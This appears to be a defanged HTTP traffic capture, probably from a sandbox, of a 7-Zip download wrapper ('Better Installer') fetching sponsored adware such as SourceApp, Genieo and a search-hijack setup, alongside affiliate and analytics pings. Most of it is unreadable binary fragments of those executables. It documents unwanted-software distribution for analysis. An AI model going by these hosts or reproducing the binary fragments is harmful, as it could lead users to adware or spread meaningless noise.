.......z.^O`.F.y..{..F..mm.f.%...F........tXP.T.'.%............R..n...
.Z.[....l...<..S?....J}o........wCw.q.Lmm0.......t............kp.k.
.]...`..Y.S.x..~..$.........t..-.......B....,.............K...P|./....
y..=...%R.}.....}-..%.L|.tW.L...Oy_1.<.....6.;..!.....:m.v.H.*.SW.l
5......;...jn.K..:.W6 O;........`)~=.)...f... :.3.L.34*n. N_."XWM_..;.
....p.I.......Ib:.`...L&.n/....X.bN...m.f:...T.W2.....o.R..$.)AV.UH7..
Z..X.[... V....N.h.?..H...O...E.D...^.ps.U.Fp......_...m..Ym.......M..
.R.C.....|...Z.j......I.E....1...V.r..".I.rV.q.......g..[2.R.W.|.V._..
..k...?.:.K.T.....a....u(.#..ZW#%&.....$nb:[."......V....... 3A.g.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145788-291576

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:04:23 GMT

Date: Tue, 24 Feb 2015 00:04:23 GMT

Content-Range: bytes 145788-291576/583152

Content-Length: 145789

Connection: keep-alive
t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d.YE.o...?&.
.... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*...8J........
2}...Yq.M.........G..#..Y..........=.A...~..R....QL9........VB......E.
5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...V..t.}.....
.'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\......0..$.
s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:...Z.a...C?..
.....W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W...j2.V.a...
..q..,...V......sr;.........n.".S.WI..n?........Z....^..7.. }....B.m. 
.eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-..0.a.)2...(
DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..........@G]
C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.X'.t....j.n
....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a..........".y..II..
.{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i ;.........
N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`..R$..4$.-s.
u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M.....W}[email protected].
.....r.ei....K0....5.....7....1M3X.C.......q..Gh.R.... zi=-...p:.8....
...].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W....ZHNC.w.Y.=
 .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.>...4.{.
M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f..0~.V.t...m'.=
.F....cfA....vN....ae.L u7..q..#,H.............:....{j...L.xb.......v.
...j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%.....c...*.IK.b.jz.l
.!)....U...&...........BxfJ$..U..SU...:.g>O./..J.....]....IT.9.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=218682-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:04 GMT

Date: Tue, 24 Feb 2015 00:01:04 GMT

Content-Range: bytes 218682-583151/583152

Content-Length: 364470

Connection: keep-alive
.....p.$o.=m%.\._...........S...%.1/Q..c.....(..\a...N..~.?..u..).\..*
..C.?...LrC~...A...e..Y..wg<..........*..H..:RSnl.. .&.;....S..P.Iw
.B....0..[.....3..T.O......#.{.......5.....h....l.>7.C...1U..e`.{.Y
...U...1%.2B...i..A.R.47JQ.J..`.n...X...hN..c..x.1...Dn.#........k.D..
..Nn....a....E...e.X.>.`&.1@.^xU.5.....<..p.V..]..R ..H#..A.p..p
...~....)...N~./[email protected](.....*.2....>...=.m....C.....jmpG.......l..
. ..R..a.3....m$xnw..-kU...'}a..Q?.O..."..(U..0..W..... /...W?.7o..3]A
.G...E7....UBT.H.. Jc0E.....>v.7=.6..3.].=3'.C}...N..-...V xK...L.Z
.{..o.....Q^....'....~...\e.....&.....WC..xQgeX...W.Xk....0....f..{..g
....2....O....40 ......?.".........-....5*a.#...U~..I..MH`.....M.....G
..Q.M.....~.P......Z.@sX>@..T.&...../....m}.p._..~..&..11..^.t7Fl.@
D.nu.O...'..K.g.j]zi.....8.5S."8R....\.H.MO{..>.Yt.-....[@......lBI
.Q...........7....TX^.....0.5.s.'..C.......9...P.....[.f...O.G....b.D.
..l......`.........c.."<...'.....X....,........q............).../.P
.Pt3.T.p.A....ZY...`(.....;,.h%...j.,.J..#u |2..n.w.hx,X..z.K{..zY....
UG.{......*..v.N.g..A....|.u..0.).'..qF.K..\..~.a....M.s;..Q..wY%..<
;.........39s.KWI5..-..=L..M.MW .Wq.*[email protected].<...5
.K...Hi..H.d ..k...S.........<.....\..3..q!...8c......o.x...v....W.
.....&....q.w.>..<.Dz..\.....>[email protected][.... i...
o...g..}...eg.._...N.....n>..V3...H|..r....k...BvH..g..\[email protected]..'
m...e........:.".5...wU.|.....bJ"/[email protected].*...uH.x&o.....>.
...E..?.b.!...Y B......Z...-,...8)...... .$5.6.P.3S.S..r..3m.W..4@<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277619-555238

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 277620

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4..Y..[..U0.~..I..<U.G.-.....D$J.0...G..,..J..]..w...\I
...%.s...>.DA.zc...y.K.7z.No(~q,..F .p.DT....P._I.6.b.o>.E.N`...
ibcS.&...Q~...O......x;.O..Ki....XT.....=X.....1R.E....;.../M.Y.>..
.H....Dr..g....=.....O."[email protected]\...&%.......n....i.oP,w..uY..*...y8.
N.N.>.g^....{...n c.N.e{...L....5Tl&b...'n....`...b......S.O_*.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=72894-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:04 GMT

Date: Tue, 24 Feb 2015 00:01:04 GMT

Content-Range: bytes 72894-583151/583152

Content-Length: 510258

Connection: keep-alive
...........?....6..t..V.?..h..=..O5..KK........;[email protected].:../.
;.....|I..h... ^.>..nH.R..7.uO..G.5.f..?..P..Cq....>. B..qi....\
...u*]...9.?1...._...._i...O.EX........0'.......w...xQ.2.l..o..T../
..>..5.f...J...V7....X;.@S..<....%m{..."...^Q!Gw........o.....(9
..........k].kr5#.L.. ..RJ........J.{./..%....S...)...,.../..e.4.u..eL
..w..(....:....EK.O.....0S.u.......d..7.o..%x...^.5.km)..}u.3...]. e.C
)..........E..@X.......@P...........:.u..1.D.:t.5.i9V)x....@n ...U]."0
.>..z...x...^s......Ui.}.^.A.*."Q...b.i.[.:.#4a.......~..c...=.Hmiv
.l..l..o_Pk.M...{.1.Y.J#...<....h.(..~`...6.^.....w..pO.]....f...
.....n[e..&1..H..$..Z.R$;ngY.!G.".....dTWA..<...X.0..^..:I>.....
..P...:.||...64..ow.f.....a..(.d2=.-3($\).|[email protected]..(h...
.b.Ks...]...`.r.EI.9l....t..=.....4.,:.7.*..........D.p.X...4....n?m..
.AH.,{..9q.`'pGu..`$u....`.J..)..E.....]4.SB..g...C..I`o......q...)...
&.%...... .g....7}rg.M..cs..l:......./P.e..u$.W.&.U==wD.......S...E,W,
v[u........G./..q......B..P.b.:.t./..\.......s....M....#....%XZ..l.r .
..AT....Q..;.._.7...]!..E..Zu..O. .P..D..O,.H[.94.y.J....IY...N......n
......uU...C..R|{%9....X].Y...Bq...L.....`......R=...m$*...7.....U..*.
....t..!/hBm<...=..#.)...E.......ic5@.... /o.%..U.o.,.....h........
.x.6.......:....@h!.zylWP..E.....?R:...W..E,.,c7.8.... .y2.f`..x.[..Pv
.~S. .q.~..W.......Y.*[email protected]@6..
[x).8....B.Q.i.K.d(...Im.....8...(..V...9......K....f..}...... ..|....
i....%y-2....Y.p&C&P..uW.=....:.........k...g.l_...#....~.SJ.d.B.'<<< skipped >>>

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

If-Modified-Since: Tue, 10 Feb 2015 14:45:45 GMT

If-None-Match: "54da1999-d66"

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Tue, 24 Feb 2015 00:02:14 GMT

Server: nginx

ETag: "54da1999-d66"

Expires: Sun, 22 Feb 2015 05:03:22 GMT

Cache-Control: max-age=600

Age: 354

X-Cache: Hit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9I2-ANVRinoxalRlJmY_OnSwcnR01Bg52aDegKApf-mqT4NPLF7Pkw==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Tue, 24 Feb 2
015 00:02:14 GMT..Server: nginx..ETag: "54da1999-d66"..Expires: Sun, 2
2 Feb 2015 05:03:22 GMT..Cache-Control: max-age=600..Age: 354..X-Cache
: Hit from cloudfront..Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloud
front.net (CloudFront)..X-Amz-Cf-Id: 9I2-ANVRinoxalRlJmY_OnSwcnR01Bg52
aDegKApf-mqT4NPLF7Pkw==......

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

If-Modified-Since: Sun, 02 Nov 2014 08:13:44 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Tue, 24 Feb 2015 00:02:14 GMT

Server: nginx

Expires: Sun, 22 Feb 2015 05:40:03 GMT

Cache-Control: max-age=600

Age: 75

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: YXbRg3L7LEDRrBLjyShYWNfdsNnKUh-0XwxZ5RC41U84EQLeCtpUHg==

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=120612-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 201020

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 120612-321631/321632

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: iUZ0h--3iBc9aFnp_K2J8cwVZhMBzG89_5TXIaJ3x3H6xrTJaqf3vA==

....p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t....
........p...Q. .t.3.......t......r.....p...Q. .t.3.......t......S.....
p...Q. .t.3.......t....3.....0....P.;Q.tu.....Q. .t.3.......t.........
...p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q
. .t.3.......t....3...........I...@. ...8...3.......D...(....P.;Q.tu..
...Q. .t.3.......t......c.....p...Q. .t.3.......t......D.....p...Q. .t
.3.......t......%.....p...Q. .t.3.......t....3..........P.;Q.tu.....Q.
 .t.3.......t............p...Q. .t.3.......t............p...Q. .t.3...
....t............p...Q. .t.3.......t....3.....{....P.;Q.tu.....Q. .t.3
.......t......U.....p...Q. .t.3.......t......6.....p...Q. .t.3.......t
............p...Q. .t.3.......t....3..........P.;Q.tu.....Q. .t.3.....
..t............p...Q. .t.3.......t............p...Q. .t.3.......t.....
.......p...Q. .t.3.......t....3.....m....P.;Q.tu.....Q. .t.3.......t..
....G.....p...Q. .t.3.......t......(.....p...Q. .t.3.......t..........
..p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t......
......Q...p. .t.3.......t............Q...p. .t.3.......t............Q.
..p. .t.3.......t....3.....^....P.;Q.tu.....Q. .t.3.......t......8....
.p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q. 
.t.3.......t....3.........f.P.f;Q...f.....Q...p. .......3.......T.....
...........P.;Q.tv..Q...p. .t.3.......t......z.....p...Q. .t.3.......t
......[.....p...Q. .t.3.......t......<.....p...Q. .t.3.......t....3
..........P.;Q.tu.....Q. .t.3.......t............p...Q. .t.3......

<<< skipped >>>

GET /__utm.gif?utmwv=5.6.3&utms=2&utmn=1319504778&utmhn=bi.bisrv.com&utmhid=943678377&utmr=-&utmp=Offer_Accepted&utmht=1424736140675&utmac=UA-31676879-1&utmcc=__utma=1.2079935846.1424736079.1424736079.1424736079.1;+__utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 19 Feb 2015 06:52:58 GMT

Server: Golfe2

Content-Length: 35

Age: 407342

Alternate-Protocol: 80:quic,p=0.08

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 19 Feb 2015 06:52:58 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 407342..Alternate-Protocol: 80:quic,p=0.08..Cache-Control:
 private, no-cache, no-cache=Set-Cookie, proxy-revalidate..GIF89a.....
........,...........D..;....


GET /__utm.gif?utmwv=5.6.3&utms=3&utmn=1466549979&utmhn=bi.bisrv.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=943678377&utmr=-&utmp=Install_Complete&utmht=1424736152336&utmac=UA-31676879-1&utmcc=__utma=1.2079935846.1424736079.1424736079.1424736079.1;+__utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 19 Feb 2015 06:52:58 GMT

Server: Golfe2

Content-Length: 35

Age: 407354

Alternate-Protocol: 80:quic,p=0.08

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 19 Feb 2015 06:52:58 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 407354..Alternate-Protocol: 80:quic,p=0.08..Cache-Control:
 private, no-cache, no-cache=Set-Cookie, proxy-revalidate..GIF89a.....
........,...........D..;..

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583152

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:04:23 GMT

Date: Tue, 24 Feb 2015 00:04:23 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /install.ashx?e=XOxRKBm2zlz43cdm0TeNYuLyPyzo0umu0h8iG8WGtN3oUht0DV8eHWD3h9gcT/r2iwEbfeVtNep9AGHLpPN9dvm9MH d93MvJPiqQQOytxwWqi8b4jjnKocxrkTwtdhdKPhEFY5XZBJPMXncQenCC3JF1S42 BeaImPFRYkh3ej9DDxdB8IX3/IOb5O/qAEzG73xbmM7JbkFsK7/Ya3qp3H4CQmKwMH4x8q9H5swxBbQQ6cZmJuUENbOUxsrM9DIVdwA8e 8CUnmbyqq6DF3nJN041sf6R9PPE5RP1LOLdbgMBqn0KNh8JqOWL1s /Izp59WIWsKGx4z3GMUs6QTMnG8k4nQ9jWi94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBQH07zjNFHyg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1368

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:01:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)

X-Amz-Cf-Id: a1P_rbk5JsdWBXzDcHRd3e3HO__j6ZPSpphgZVbgHd1Tlz0mYnF7-w==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]._...../5.Q..E.h..uq.."..q..z..H.b5...J...o.<L.%MX..
..`.qJ...ZQ...I......S...z.....EA;./c....... :.EA;./c....^....(..H%V&l
t;.......Q5..W0..(O..9.._.".P..-Q..b...;....Aa....d...c....mu..y..1 \6
r..|..q.."..q..z..H.b5...J...o.<L.%MX.......K.Aa....d..cT:....W.{..
"......|........|....&.<..)K.2...._2.S.....?.F.....rlD..i0u...x..u.
...."I....?..^.$.o...{.k.K.....q@,(..;.?...a(H#C$..C..R.a..p.Ek9......
,..r.c.........Bv...?..^.$.o...{[email protected].....).Ex_(......|....v....
g....)..(A..7p...1.. . ..{..K...e..q.".....x.Sv...9..c.|.Kn...i...-..u
...?'....`.....DoC#Zx.Y......KU. ..?..V.$.........}...q...{...ah..]...
..ab._.#}....5.X8......1..1...j...........c..7....e...|lB...k......H..
......v.c.]....^5..1.].qKV...C. .d.......B..._...$.&>p.0...5.L..'5.
....-14........*{8......5..#.... ..D<&..fl....'..y.Q..........(V.q.
....k.C....0....:.6T~.C..0.Q..7~I..8......([email protected].]..Vrp.....~
%..p/.y/.R.Q..A.).`..`.r.........*[email protected].]o.x.{..".......
[email protected]...=...?..^.$.o...{.k..\.Z.1_..u..f.D...a(H#C$..C..
R......G....([email protected]..#[email protected]......\_{..
 .j.R.. ..._ . ..{..K...e..q.".....x.Sv...9...iN. Z..Z...&M..^..O.....
...\.."s'.5.....m.lz#.}......,..#?{.V....B.[_........rB..DgS0m.5..#...
[email protected].........`.M.9.V./?.F........\.....7.h.N.&..<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=3&index_in_screen=1&index_in_session=3&0.03869277782323843 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.1.10.1424736155; __utmc=1; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:45 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:03:45 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=494204-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: 3zAXKJ4qkLEl QTSdk5fjAK7W5hYHg8juGfL72JwTFLU2XDdkw5tlU3Lr6fJRMppilbaaB7TgYk=

x-amz-request-id: 3E053E6E21A309D8

Date: Tue, 24 Feb 2015 00:04:27 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 494204-988407/988408

Content-Type: application/octet-stream

Content-Length: 494204

Server: AmazonS3
.;M@{..M.?..4R.[v. .-..bIcw.......b.....!..rf.P.........0.....{......y
..WL.D*^[email protected].)4......V.P!s...!pW6$~......T
..i...kQ.X..-.V.&...;.`...._B..-*.V.*[.S..?...)$\....i...E;........|p.
B|ON......:...@,.qX.vb8.%.<@..z.>_.RB..y.n.oX.AW1(....YU.4..O...
.Q...........A.z[.G..-z#......4/...X..N..l|.p..5!'hV.._.n..c..^.k...E.
....p..5B.......HEm.dh.4.sGUh..WP7.#...........:Z.].K"............B]W.
V...L0q~.].AB.`.trp.eW..J##..[.r,.(.&...."..G..B........#o..`....p...]
5{w.......%z......P}......Wj. M)^...5...Y.C._.7..*........'.. jI.c...t
..@$.X.ty...1.He...eV....}.l.R.2....A.P.....q....#"..58.Yg.f...(...1).
....,......|.#.KB...3H$..N...r...r.)...^.ST.$..?\.... 8,d....{ M...u..
:C........e..FL.j....S...MMd....%.N.i.....y.c..M..H....v.~5........:.f
DI...#.....0.(TH...sWso...:.#~....p....B!.....D."m..Xt..c,.m...e....z.
F*..m.Ci.Qt.....j.m*<...n.7...M..J......(..{....z......y.v.."@kNX.k
3{.m.[.._m\....(...Rz.ka..Qwb....3.\o.?.x..6........j..Do..j....)q....
]Q..}.. ....9....x.. b#Q/ .g.._.-Y.ZZ..r>2.e.\zu....d:w..].j..ma.0D
[........9..2.=...<....j..h.D.3Z..0.f.{$......i..tm..y.J.>.$.kz.
......_.....z...Q.K.(..=.7..I....C.9R_.z...w...B.... ..y...2.j..@'q.m.
.zs..}.........z...r).~....%.............]..rY0..Y.sgE...B.e.....|.<
;h..q.tLPw.....MD....z.....z..3..jP.KQ6>.I..#.{...gyf...@|..#....|.
.,t..m....q*.r.OLX`"B.....k....!n.Q;n......2vn....... a....{..|z...H..
..C.!.eGn.#.....-..m.R...N...._..e..k.&../p......b.....jq.L.-.c..q/..O
/b.......m....~.....:D.A&..Y...`...z..c..U...F...jZ.G.s....*..AI..<<< skipped >>>

